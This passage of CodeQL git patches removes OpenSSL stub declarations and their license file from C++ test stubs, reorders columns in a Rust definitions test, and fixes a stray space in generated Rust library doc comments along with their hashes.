EVP_PKEY_meth_set_ctrl(EVP_PKEY_METHOD * pmeth, int (*ctrl)(EVP_PKEY_CTX *, int, int, void *), int (*ctrl_str)(EVP_PKEY_CTX *, const char *, const char *)) ; - - -void EVP_PKEY_meth_set_digestsign(EVP_PKEY_METHOD * pmeth, int (*digestsign)(EVP_MD_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_set_digestverify(EVP_PKEY_METHOD * pmeth, int (*digestverify)(EVP_MD_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_set_check(EVP_PKEY_METHOD * pmeth, int (*check)(EVP_PKEY *)) ; - - -void EVP_PKEY_meth_set_public_check(EVP_PKEY_METHOD * pmeth, int (*check)(EVP_PKEY *)) ; - - -void EVP_PKEY_meth_set_param_check(EVP_PKEY_METHOD * pmeth, int (*check)(EVP_PKEY *)) ; - - -void EVP_PKEY_meth_set_digest_custom(EVP_PKEY_METHOD * pmeth, int (*digest_custom)(EVP_PKEY_CTX *, EVP_MD_CTX *)) ; - - -void EVP_PKEY_meth_get_init(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *)) ; - - -void EVP_PKEY_meth_get_copy(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, const EVP_PKEY_CTX *)) ; - - -void EVP_PKEY_meth_get_cleanup(const EVP_PKEY_METHOD * pmeth, void (**)(EVP_PKEY_CTX *)) ; - - -void EVP_PKEY_meth_get_paramgen(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, EVP_PKEY *)) ; - - -void EVP_PKEY_meth_get_keygen(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, EVP_PKEY *)) ; - - -void EVP_PKEY_meth_get_sign(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_get_verify(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_get_verify_recover(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_get_signctx(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, EVP_MD_CTX *)) ; - - -void EVP_PKEY_meth_get_verifyctx(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (**)(EVP_PKEY_CTX *, const unsigned char *, int, EVP_MD_CTX *)) ; - - -void EVP_PKEY_meth_get_encrypt(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_get_decrypt(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_get_derive(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *)) ; - - -void EVP_PKEY_meth_get_ctrl(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, int, int, void *), int (**)(EVP_PKEY_CTX *, const char *, const char *)) ; - - -void EVP_PKEY_meth_get_digestsign(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_MD_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)); - -void EVP_PKEY_meth_get_digestverify(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_MD_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)); - -void EVP_PKEY_meth_get_check(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY *)); - -void EVP_PKEY_meth_get_public_check(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY *)); - -void EVP_PKEY_meth_get_param_check(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY *)); - -void EVP_PKEY_meth_get_digest_custom(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, EVP_MD_CTX *)); - -void EVP_KEYEXCH_free(EVP_KEYEXCH * exchange) ; - - -int EVP_KEYEXCH_up_ref(EVP_KEYEXCH * exchange) { - return 0; -} - -EVP_KEYEXCH * EVP_KEYEXCH_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -OSSL_PROVIDER * EVP_KEYEXCH_get0_provider(const EVP_KEYEXCH * exchange) { - return NULL; -} - -int EVP_KEYEXCH_is_a(const EVP_KEYEXCH * keyexch, const char * name) { - return 0; -} - -const char * EVP_KEYEXCH_get0_name(const EVP_KEYEXCH * keyexch) { - return NULL; -} - -const char * EVP_KEYEXCH_get0_description(const EVP_KEYEXCH * keyexch) { - return NULL; -} - -void EVP_KEYEXCH_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_KEYEXCH *, void *), void * data) ; - - -int EVP_KEYEXCH_names_do_all(const EVP_KEYEXCH * keyexch, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PARAM * EVP_KEYEXCH_gettable_ctx_params(const EVP_KEYEXCH * keyexch) { - return NULL; -} - -const OSSL_PARAM * EVP_KEYEXCH_settable_ctx_params(const EVP_KEYEXCH * keyexch) { - return NULL; -} - -void EVP_add_alg_module(void) ; - - -int EVP_PKEY_CTX_set_group_name(EVP_PKEY_CTX * ctx, const char * name) { - return 0; -} - -int EVP_PKEY_CTX_get_group_name(EVP_PKEY_CTX * ctx, char * name, size_t namelen) { - return 0; -} - -int EVP_PKEY_get_group_name(const EVP_PKEY * pkey, char * name, size_t name_sz, size_t * gname_len) { - return 0; -} - -OSSL_LIB_CTX * EVP_PKEY_CTX_get0_libctx(EVP_PKEY_CTX * ctx) { - return NULL; -} - -const char * EVP_PKEY_CTX_get0_propq(const EVP_PKEY_CTX * ctx) { - return NULL; -} - -const OSSL_PROVIDER * EVP_PKEY_CTX_get0_provider(const EVP_PKEY_CTX * ctx) { - return NULL; -} - -int EVP_SKEY_is_a(const EVP_SKEY * skey, const char * name) { - return 0; -} - -EVP_SKEY * EVP_SKEY_import(OSSL_LIB_CTX * libctx, const char * skeymgmtname, const char * propquery, int selection, const OSSL_PARAM * params) { - return NULL; -} - -EVP_SKEY * EVP_SKEY_generate(OSSL_LIB_CTX * libctx, const char * skeymgmtname, const char * propquery, const OSSL_PARAM * params) { - return NULL; -} - -EVP_SKEY * EVP_SKEY_import_raw_key(OSSL_LIB_CTX * libctx, const char * skeymgmtname, unsigned char * key, size_t keylen, const char * propquery) { - return NULL; -} - -int EVP_SKEY_get0_raw_key(const EVP_SKEY * skey, const unsigned char ** key, size_t * len) { - return 0; -} - -const char * EVP_SKEY_get0_key_id(const EVP_SKEY * skey) { - return NULL; -} - -int EVP_SKEY_export(const EVP_SKEY * skey, int selection, OSSL_CALLBACK * export_cb, void * export_cbarg) { - return 0; -} - -int EVP_SKEY_up_ref(EVP_SKEY * skey) { - return 0; -} - -void EVP_SKEY_free(EVP_SKEY * skey) ; - - -const char * EVP_SKEY_get0_skeymgmt_name(const EVP_SKEY * skey) { - return NULL; -} - -const char * EVP_SKEY_get0_provider_name(const EVP_SKEY * skey) { - return NULL; -} - -EVP_SKEY * EVP_SKEY_to_provider(EVP_SKEY * skey, OSSL_LIB_CTX * libctx, OSSL_PROVIDER * prov, const char * propquery) { - return NULL; -} - -#endif /* OSSL_EVP_H */ diff --git a/cpp/ql/test/stubs/crypto/openssl/license.txt b/cpp/ql/test/stubs/crypto/openssl/license.txt deleted file mode 100644 index 49cc83d2ee29..000000000000 --- a/cpp/ql/test/stubs/crypto/openssl/license.txt +++ /dev/null @@ -1,177 +0,0 @@ - - Apache License - Version 2.0, January 2004 - https://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS diff --git a/cpp/ql/test/stubs/crypto/openssl/rand_stubs.h b/cpp/ql/test/stubs/crypto/openssl/rand_stubs.h deleted file mode 100644 index 8d9b5c53c9ff..000000000000 --- a/cpp/ql/test/stubs/crypto/openssl/rand_stubs.h +++ /dev/null @@ -1,3 +0,0 @@ -int RAND_bytes(unsigned char *buf, int num); - -int RAND_pseudo_bytes(unsigned char *buf, int num); \ No newline at end of file From 3781de7b92bf2890f1418df48eef3b6f6eb66e0e Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 3 Jun 2025 09:53:45 +0200 Subject: [PATCH 503/535] Rust: Reorder columns in `Definitions.ql` test --- .../definitions/Definitions.expected | 42 +++++++++---------- .../library-tests/definitions/Definitions.ql | 2 +- 2 files changed, 22 insertions(+), 22 deletions(-) diff --git a/rust/ql/test/library-tests/definitions/Definitions.expected b/rust/ql/test/library-tests/definitions/Definitions.expected index 3a9323115bf7..5d2a0db46c55 100644 --- a/rust/ql/test/library-tests/definitions/Definitions.expected +++ b/rust/ql/test/library-tests/definitions/Definitions.expected @@ -1,21 +1,21 @@ -| lib.rs:1:1:1:1 | SourceFile | main.rs:3:5:3:7 | lib | file | -| main.rs:1:1:1:9 | struct S | main.rs:16:13:16:13 | S | path | -| main.rs:6:9:6:13 | width | main.rs:9:29:9:33 | width | local variable | -| main.rs:6:9:6:13 | width | main.rs:10:41:10:45 | width | local variable | -| main.rs:6:9:6:13 | width | main.rs:11:36:11:40 | width | local variable | -| main.rs:7:9:7:17 | precision | main.rs:9:36:9:44 | precision | local variable | -| main.rs:7:9:7:17 | precision | main.rs:10:48:10:56 | precision | local variable | -| main.rs:8:9:8:13 | value | main.rs:10:34:10:38 | value | local variable | -| main.rs:8:9:8:13 | value | main.rs:11:29:11:33 | value | local variable | -| main.rs:9:50:9:54 | value | main.rs:9:22:9:26 | value | format argument | -| main.rs:10:34:10:38 | value | main.rs:10:22:10:22 | 0 | format argument | -| main.rs:10:41:10:45 | width | main.rs:10:25:10:25 | 1 | format argument | -| main.rs:10:48:10:56 | precision | main.rs:10:28:10:28 | 2 | format argument | -| main.rs:11:29:11:33 | value | main.rs:11:21:11:22 | {} | format argument | -| main.rs:11:36:11:40 | width | main.rs:11:24:11:25 | {} | format argument | -| main.rs:12:9:12:14 | people | main.rs:13:22:13:27 | people | local variable | -| main.rs:14:31:14:31 | 1 | main.rs:14:19:14:20 | {} | format argument | -| main.rs:14:31:14:31 | 1 | main.rs:14:23:14:23 | 0 | format argument | -| main.rs:14:34:14:34 | 2 | main.rs:14:16:14:16 | 1 | format argument | -| main.rs:14:34:14:34 | 2 | main.rs:14:26:14:27 | {} | format argument | -| main.rs:15:40:15:42 | "x" | main.rs:15:31:15:35 | {:<5} | format argument | +| main.rs:3:5:3:7 | lib | lib.rs:1:1:1:1 | SourceFile | file | +| main.rs:9:22:9:26 | value | main.rs:9:50:9:54 | value | format argument | +| main.rs:9:29:9:33 | width | main.rs:6:9:6:13 | width | local variable | +| main.rs:9:36:9:44 | precision | main.rs:7:9:7:17 | precision | local variable | +| main.rs:10:22:10:22 | 0 | main.rs:10:34:10:38 | value | format argument | +| main.rs:10:25:10:25 | 1 | main.rs:10:41:10:45 | width | format argument | +| main.rs:10:28:10:28 | 2 | main.rs:10:48:10:56 | precision | format argument | +| main.rs:10:34:10:38 | value | main.rs:8:9:8:13 | value | local variable | +| main.rs:10:41:10:45 | width | main.rs:6:9:6:13 | width | local variable | +| main.rs:10:48:10:56 | precision | main.rs:7:9:7:17 | precision | local variable | +| main.rs:11:21:11:22 | {} | main.rs:11:29:11:33 | value | format argument | +| main.rs:11:24:11:25 | {} | main.rs:11:36:11:40 | width | format argument | +| main.rs:11:29:11:33 | value | main.rs:8:9:8:13 | value | local variable | +| main.rs:11:36:11:40 | width | main.rs:6:9:6:13 | width | local variable | +| main.rs:13:22:13:27 | people | main.rs:12:9:12:14 | people | local variable | +| main.rs:14:16:14:16 | 1 | main.rs:14:34:14:34 | 2 | format argument | +| main.rs:14:19:14:20 | {} | main.rs:14:31:14:31 | 1 | format argument | +| main.rs:14:23:14:23 | 0 | main.rs:14:31:14:31 | 1 | format argument | +| main.rs:14:26:14:27 | {} | main.rs:14:34:14:34 | 2 | format argument | +| main.rs:15:31:15:35 | {:<5} | main.rs:15:40:15:42 | "x" | format argument | +| main.rs:16:13:16:13 | S | main.rs:1:1:1:9 | struct S | path | diff --git a/rust/ql/test/library-tests/definitions/Definitions.ql b/rust/ql/test/library-tests/definitions/Definitions.ql index ccc4e543b4af..82a128670f4a 100644 --- a/rust/ql/test/library-tests/definitions/Definitions.ql +++ b/rust/ql/test/library-tests/definitions/Definitions.ql @@ -4,4 +4,4 @@ from Definition def, Use use, string kind where def = definitionOf(use, kind) and use.fromSource() -select def, use, kind +select use, def, kind From 348dc9969be2fb731101b811de1c5d2d8f2c4a29 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 3 Jun 2025 10:55:34 +0200 Subject: [PATCH 504/535] Rust: remove stray space --- rust/ql/.generated.list | 8 ++++---- rust/ql/lib/codeql/rust/elements/AssocItemList.qll | 2 +- .../codeql/rust/elements/internal/AssocItemListImpl.qll | 2 +- .../rust/elements/internal/generated/AssocItemList.qll | 2 +- .../lib/codeql/rust/elements/internal/generated/Raw.qll | 2 +- rust/schema/annotations.py | 2 +- 6 files changed, 9 insertions(+), 9 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 221828956575..73404b396b2b 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -21,7 +21,7 @@ lib/codeql/rust/elements/AsmRegOperand.qll 27abfffe1fc99e243d9b915f9a9694510133e lib/codeql/rust/elements/AsmRegSpec.qll 77483fc3d1de8761564e2f7b57ecf1300d67de50b66c11144bb4e3e0059ebfd6 521f8dd0af859b7eef6ab2edab2f422c9ff65aa11bad065cfba2ec082e0c786b lib/codeql/rust/elements/AsmSym.qll ba29b59ae2a4aa68bdc09e61b324fd26e8b7e188af852345676fc5434d818eef 10ba571059888f13f71ac5e75d20b58f3aa6eecead0d4c32a7617018c7c72e0e lib/codeql/rust/elements/AssocItem.qll 89e547c3ce2f49b5eb29063c5d9263a52810838a8cfb30b25bee108166be65a1 238fc6f33c18e02ae023af627afa2184fa8e6055d78ab0936bd1b6180bccb699 -lib/codeql/rust/elements/AssocItemList.qll 5d58c018009c00e6aef529b7d1b16161abae54dbf3a41d513a57be3bbda30abf d9b06ef3c1332f4d09e6d4242804396f8664771fa9aaceb6d5b25e193525af3b +lib/codeql/rust/elements/AssocItemList.qll 5d2660e199e59647e3a8b6234531428f6e0a236ed2ced3c9fede13e7f83a5ba5 a2a8e87ab8978f77a70e4c0a8cc7322c522fc4a7a05116646a2b97a2f47428a4 lib/codeql/rust/elements/AssocTypeArg.qll 6ceeec7a0ec78a6f8b2e74c0798d4727ad350cebde954b4ffe442b06e08eb4aa d615f5cd696892518387d20f04dae240fb10ee7c9577028fb6f2a51cd9f5b9e4 lib/codeql/rust/elements/AstNode.qll 5ee6355afb1cafd6dfe408b8c21836a1ba2aeb709fb618802aa09f9342646084 dee708f19c1b333cbd9609819db3dfdb48a0c90d26266c380f31357b1e2d6141 lib/codeql/rust/elements/Attr.qll 2cb6a6adf1ff9ee40bc37434320d77d74ae41ff10bbd4956414c429039eede36 e85784299917ad8a58f13824b20508f217b379507f9249e6801643cf9628db1e @@ -227,7 +227,7 @@ lib/codeql/rust/elements/internal/AsmSymConstructor.qll 9c7e8471081b9173f01592d4 lib/codeql/rust/elements/internal/AsmSymImpl.qll e173807c5b6cf856f5f4eaedb2be41d48db95dd8a973e1dc857a883383feec50 ab19c9f479c0272a5257ab45977c9f9dd60380fe33b4ade14f3dddf2970112de lib/codeql/rust/elements/internal/AssocItemImpl.qll 33be2a25b94eb32c44b973351f0babf6d46d35d5a0a06f1064418c94c40b01e9 5e42adb18b5c2f9246573d7965ce91013370f16d92d8f7bda31232cef7a549c6 lib/codeql/rust/elements/internal/AssocItemListConstructor.qll 1977164a68d52707ddee2f16e4d5a3de07280864510648750016010baec61637 bb750f1a016b42a32583b423655279e967be5def66f6b68c5018ec1e022e25e1 -lib/codeql/rust/elements/internal/AssocItemListImpl.qll bd6ccb2bda2408829a037b819443f7e2962d37f225932a5a02b28901596705f9 fa0037432bc31128610e2b989ba3877c3243fecb0127b0faa84d876b628bbeee +lib/codeql/rust/elements/internal/AssocItemListImpl.qll 70e82744464827326bfc394dab417f39905db155fb631f804bf1f27e23892698 760c7b42137d010e15920f9623e461daaf16518ab44a36a15259e549ecd4fa7a lib/codeql/rust/elements/internal/AssocTypeArgConstructor.qll 58b4ac5a532e55d71f77a5af8eadaf7ba53a8715c398f48285dac1db3a6c87a3 f0d889f32d9ea7bd633b495df014e39af24454608253200c05721022948bd856 lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll 5a5016276bef74ae52c6b7a04dfd46b0d466356292c110860c7f650a2d455100 b72b10eeede0f945c96f098e484058469f6e6e2223d29377d6ef3e2fde698624 lib/codeql/rust/elements/internal/AttrConstructor.qll de1dd30692635810277430291ba3889a456344dbd25938d9f8289ab22506d5cd 57b62b2b07dee4a9daeed241e0b4514ba36fd5ec0abb089869a4d5b2c79d6e72 @@ -481,7 +481,7 @@ lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll e1412c7a9135669cb3 lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll 73a24744f62dd6dfa28a0978087828f009fb0619762798f5e0965003fff1e8ec fdb8fd2f89b64086a2ca873c683c02a68d088bb01007d534617d0b7f67fde2cb lib/codeql/rust/elements/internal/generated/AsmSym.qll 476ee9ad15db015c43633072175bca3822af30c379ee10eb8ffc091c88d573f6 9f24baf36506eb959e9077dc5ba1cddbc4d93e3d8cba6e357dff5f9780d1e492 lib/codeql/rust/elements/internal/generated/AssocItem.qll fad035ba1dab733489690538fbb94ac85072b96b6c2f3e8bcd58a129b9707a26 d9988025b12b8682be83ce9df8c31ce236214683fc50facd4a658f68645248cb -lib/codeql/rust/elements/internal/generated/AssocItemList.qll e016510f5f6a498b5a78b2b9419c05f870481b579438efa147303576bc89e920 89c30f3bfc1ffced07662edfb497305ee7498df1b5655739277bc1125207bea6 +lib/codeql/rust/elements/internal/generated/AssocItemList.qll 52900dcf32ef749a3bd285b4a01ff337df3c52255fe2698c9c1547c40652f3b9 10709dd626a527c37186b02c4ea738a9edb6c9e97b87370de206d3eb9941575b lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll a93a42278263bb0c9692aca507108e25f99292aef2a9822501b31489c4ce620d afd9559e0c799988ef7ff1957a5a9ebc4fb92c6e960cbe7fecf12a0a484fef08 lib/codeql/rust/elements/internal/generated/AstNode.qll 1cbfae6a732a1de54b56669ee69d875b0e1d15e58d9aa621df9337c59db5619d 37e16a0c70ae69c5dc1b6df241b9acca96a6326d6cca15456699c44a81c93666 lib/codeql/rust/elements/internal/generated/Attr.qll 3f306e301c79f58018f1d5f39b4232760ebba7cad7208b78ffcf77e962041459 865a985c0af86b3463440975216b863256d9bf5960e664dd9c0fe2e602b4828b @@ -593,7 +593,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 8d0ea4f6c7f8203340bf lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll fc32eef8983cc881dd351d2ceeb37724ea413ab95cb34251e59630aaea682213 1df3d0023f23d095c0321c6c081c8f2fa8839e6d22f92aebff5db9030e84e6b2 +lib/codeql/rust/elements/internal/generated/Raw.qll ea65a886bb8915a6c58ef6bf9900e457ad54df50cd16d901415267703047b6a8 bad7285d4604640cb3165fe25365d7325134d7ecf32953021d90dcff4763bcad lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 5b0663a6d234572fb3e467e276d019415caa95ef006438cc59b7af4e1783161e 0e27c8a8f0e323c0e4d6db01fca821bf07c0864d293cdf96fa891b10820c1e4b diff --git a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll index e773f10a7d0c..86ae3df7a6b1 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll @@ -9,6 +9,6 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Attr /** - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ final class AssocItemList = Impl::AssocItemList; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll index 02299ac619c4..f68c9e5fbe3f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.AssocItemList */ module Impl { /** - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends Generated::AssocItemList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll index 9a454152b202..8a6dc5a43eda 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.Attr */ module Generated { /** - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. * INTERNAL: Do not reference the `Generated::AssocItemList` class directly. * Use the subclass `AssocItemList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 9880b8c2b02b..6c49996707d7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -279,7 +279,7 @@ module Raw { /** * INTERNAL: Do not use. - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends @assoc_item_list, AstNode { override string toString() { result = "AssocItemList" } diff --git a/rust/schema/annotations.py 